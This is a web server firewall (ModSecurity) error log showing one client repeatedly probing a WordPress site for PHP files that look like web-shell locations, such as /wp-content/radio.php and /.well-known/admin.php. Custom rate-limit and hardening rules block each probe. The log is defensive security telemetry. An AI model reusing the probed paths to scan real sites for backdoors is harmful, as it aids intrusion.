[Wed Jan 21 01:08:17.281825 2026] [:error] [pid 56360:tid 56368] [client 20.230.68.0:13148] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aW-2gU1J8CD1rR-wXXuIIgAAAQY"]
[Wed Jan 21 01:08:17.898022 2026] [:error] [pid 54259:tid 54288] [client 20.230.68.0:13204] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aW-2gQ2q1USrePnOoFQg8QAAAIs"]
[Wed Jan 21 01:08:18.396818 2026] [:error] [pid 56291:tid 56303] [client 20.230.68.0:13057] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aW-2grXgW_1T5Nikxa0emgAAAEg"]
[Wed Jan 21 01:08:18.917364 2026] [:error] [pid 17295:tid 17311] [client 20.230.68.0:13208] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aW-2gvZJhGdrcqZICT_MgwAAAY0"]
[Wed Jan 21 01:08:19.491738 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.0:13305] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aW-2g_ZJhGdrcqZICT_MhAAAAYY"]
[Wed Jan 21 01:08:19.956008 2026] [:error] [pid 17295:tid 17305] [client 20.230.68.0:13254] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aW-2g_ZJhGdrcqZICT_MhgAAAYc"]
[Wed Jan 21 01:08:20.590762 2026] [:error] [pid 17340:tid 17360] [client 20.230.68.0:13245] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aW-2hPAsOSYVgw_35t3Y3wAAAkQ"]
[Wed Jan 21 01:08:21.117572 2026] [:error] [pid 54260:tid 54326] [client 20.230.68.0:13228] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aW-2hdg7jS3jmpUN0WBIiwAAAVI"]
[Wed Jan 21 01:08:21.599266 2026] [:error] [pid 56326:tid 56330] [client 20.230.68.0:13282] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aW-2hRA6mi8Uwf45Uy9hBwAAAMI"]
[Wed Jan 21 01:08:22.131684 2026] [:error] [pid 54259:tid 54281] [client 20.230.68.0:13203] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aW-2hg2q1USrePnOoFQg9gAAAIQ"]
[Wed Jan 21 01:08:22.651133 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.0:13207] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aW-2hvZJhGdrcqZICT_MiAAAAY4"]
[Wed Jan 21 01:08:23.117888 2026] [:error] [pid 56360:tid 56364] [client 20.230.68.0:13223] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aW-2h01J8CD1rR-wXXuIJgAAAQI"]
[Wed Jan 21 01:08:23.798457 2026] [:error] [pid 63647:tid 63652] [client 20.230.68.0:13141] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aW-2h1UaYw1xHOoaFFJCeQAAAgM"]
[Wed Jan 21 01:08:24.543897 2026] [:error] [pid 63647:tid 63661] [client 20.230.68.0:13177] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aW-2iFUaYw1xHOoaFFJCegAAAgw"]
[Wed Jan 21 01:08:25.123290 2026] [:error] [pid 63647:tid 63673] [client 20.230.68.0:13172] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aW-2iVUaYw1xHOoaFFJCfAAAAhg"]
[Wed Jan 21 01:08:25.845855 2026] [:error] [pid 17340:tid 17378] [client 20.230.68.0:13181] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aW-2ifAsOSYVgw_35t3Y4AAAAlY"]
[Wed Jan 21 01:08:26.405368 2026] [:error] [pid 63647:tid 63672] [client 20.230.68.0:13219] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aW-2ilUaYw1xHOoaFFJCfQAAAhc"]
[Wed Jan 21 01:08:27.049856 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.0:13269] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aW-2i_ZJhGdrcqZICT_MiwAAAYg"]
[Wed Jan 21 01:08:27.714434 2026] [:error] [pid 54259:tid 54296] [client 20.230.68.0:18215] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aW-2iw2q1USrePnOoFQg-AAAAJM"]
[Wed Jan 21 01:08:28.160636 2026] [:error] [pid 17340:tid 17368] [client 20.230.68.0:13149] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aW-2jPAsOSYVgw_35t3Y5AAAAkw"]
[Wed Jan 21 01:08:28.880350 2026] [:error] [pid 54382:tid 54387] [client 20.230.68.0:13209] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aW-2jETJlZ9SJ6sBOEvnjAAAAAI"]
[Wed Jan 21 01:08:29.420172 2026] [:error] [pid 56360:tid 56386] [client 20.230.68.0:13139] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/security.php"] [unique_id "aW-2jU1J8CD1rR-wXXuILAAAARg"]
[Wed Jan 21 01:08:30.122914 2026] [:error] [pid 63647:tid 63656] [client 20.230.68.0:13170] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aW-2jlUaYw1xHOoaFFJCfwAAAgc"]
[Wed Jan 21 01:08:30.672985 2026] [:error] [pid 8455:tid 8480] [client 20.230.68.0:13218] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aW-2joJiHdPVtruynXDhSAAAA1c"]
[Wed Jan 21 01:08:31.376885 2026] [:error] [pid 54259:tid 54287] [client 20.230.68.0:18222] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aW-2jw2q1USrePnOoFQg-gAAAIo"]
[Wed Jan 21 01:08:32.508165 2026] [:error] [pid 17340:tid 17366] [client 20.230.68.0:13221] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aW-2kPAsOSYVgw_35t3Y7wAAAko"]
[Wed Jan 21 01:08:33.087386 2026] [:error] [pid 63647:tid 63654] [client 20.230.68.0:18225] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW-2kVUaYw1xHOoaFFJCgAAAAgU"]
[Wed Jan 21 01:08:33.779702 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.0:13241] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW-2kU1J8CD1rR-wXXuINwAAARE"]
[Wed Jan 21 01:08:34.227300 2026] [:error] [pid 63647:tid 63655] [client 20.230.68.0:18260] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW-2klUaYw1xHOoaFFJCggAAAgY"]
[Wed Jan 21 01:08:34.736327 2026] [:error] [pid 56326:tid 56333] [client 20.230.68.0:13153] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aW-2khA6mi8Uwf45Uy9hIQAAAMU"]
[Wed Jan 21 01:08:35.238287 2026] [:error] [pid 56360:tid 56376] [client 20.230.68.0:13292] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aW-2k01J8CD1rR-wXXuIOAAAAQ4"]
[Wed Jan 21 01:08:35.833295 2026] [:error] [pid 54260:tid 54308] [client 20.230.68.0:18250] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aW-2k9g7jS3jmpUN0WBIoAAAAUA"]
[Wed Jan 21 01:08:36.402000 2026] [:error] [pid 54260:tid 54316] [client 20.230.68.0:13194] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aW-2lNg7jS3jmpUN0WBIoQAAAUg"]
[Wed Jan 21 01:08:36.927877 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:13132] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aW-2lPZJhGdrcqZICT_MjwAAAYs"]
[Wed Jan 21 01:08:37.382849 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.0:13262] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aW-2lU1J8CD1rR-wXXuIOQAAAQk"]
[Wed Jan 21 01:08:38.011674 2026] [:error] [pid 56291:tid 56296] [client 20.230.68.0:18293] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aW-2lrXgW_1T5Nikxa0engAAAEE"]
[Wed Jan 21 01:08:38.710155 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.0:13056] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aW-2lvZJhGdrcqZICT_MkgAAAY4"]
[Wed Jan 21 01:08:39.295873 2026] [:error] [pid 8455:tid 8471] [client 20.230.68.0:13211] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aW-2l4JiHdPVtruynXDhSgAAA04"]
[Wed Jan 21 01:08:39.909470 2026] [:error] [pid 8455:tid 8467] [client 20.230.68.0:13114] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aW-2l4JiHdPVtruynXDhSwAAA0o"]
[Wed Jan 21 01:08:40.535403 2026] [:error] [pid 56291:tid 56317] [client 20.230.68.0:13231] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aW-2mLXgW_1T5Nikxa0enwAAAFY"]
[Wed Jan 21 01:08:41.274376 2026] [:error] [pid 63647:tid 63657] [client 20.230.68.0:13247] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aW-2mVUaYw1xHOoaFFJChQAAAgg"]
[Wed Jan 21 01:08:41.980011 2026] [:error] [pid 54259:tid 54291] [client 20.230.68.0:13205] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aW-2mQ2q1USrePnOoFQg_gAAAI4"]
[Wed Jan 21 01:08:42.706265 2026] [:error] [pid 63647:tid 63671] [client 20.230.68.0:13267] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aW-2mlUaYw1xHOoaFFJChwAAAhY"]
[Wed Jan 21 01:08:43.151807 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.0:13216] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aW-2m9g7jS3jmpUN0WBIowAAAVc"]
[Wed Jan 21 01:08:43.692154 2026] [:error] [pid 56326:tid 56345] [client 20.230.68.0:13150] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aW-2mxA6mi8Uwf45Uy9hJQAAANE"]
[Wed Jan 21 01:08:44.289792 2026] [:error] [pid 17340:tid 17380] [client 20.230.68.0:18299] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aW-2nPAsOSYVgw_35t3Y-QAAAlg"]
[Wed Jan 21 01:08:44.749837 2026] [:error] [pid 8455:tid 8458] [client 20.230.68.0:13169] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aW-2nIJiHdPVtruynXDhTwAAA0E"]
[Wed Jan 21 01:08:45.234857 2026] [:error] [pid 54260:tid 54328] [client 20.230.68.0:13179] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aW-2ndg7jS3jmpUN0WBIpAAAAVQ"]
[Wed Jan 21 01:08:45.809342 2026] [:error] [pid 17295:tid 17302] [client 20.230.68.0:13240] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aW-2nfZJhGdrcqZICT_MnwAAAYQ"]
[Wed Jan 21 01:08:46.334735 2026] [:error] [pid 54259:tid 54287] [client 20.230.68.0:13274] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aW-2ng2q1USrePnOoFQhBgAAAIo"]
[Wed Jan 21 01:08:47.000083 2026] [:error] [pid 63647:tid 63660] [client 20.230.68.0:13163] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aW-2nlUaYw1xHOoaFFJCiQAAAgs"]
[Wed Jan 21 01:08:47.745088 2026] [:error] [pid 63647:tid 63658] [client 20.230.68.0:13307] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aW-2n1UaYw1xHOoaFFJCiwAAAgk"]
[Wed Jan 21 01:08:48.426565 2026] [:error] [pid 63647:tid 63655] [client 20.230.68.0:13210] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aW-2oFUaYw1xHOoaFFJCjAAAAgY"]
[Wed Jan 21 01:08:49.438308 2026] [:error] [pid 54260:tid 54331] [client 20.230.68.0:13184] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aW-2odg7jS3jmpUN0WBIpgAAAVY"]
[Wed Jan 21 01:08:50.074342 2026] [:error] [pid 54260:tid 54322] [client 20.230.68.0:18252] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aW-2otg7jS3jmpUN0WBIpwAAAU4"]
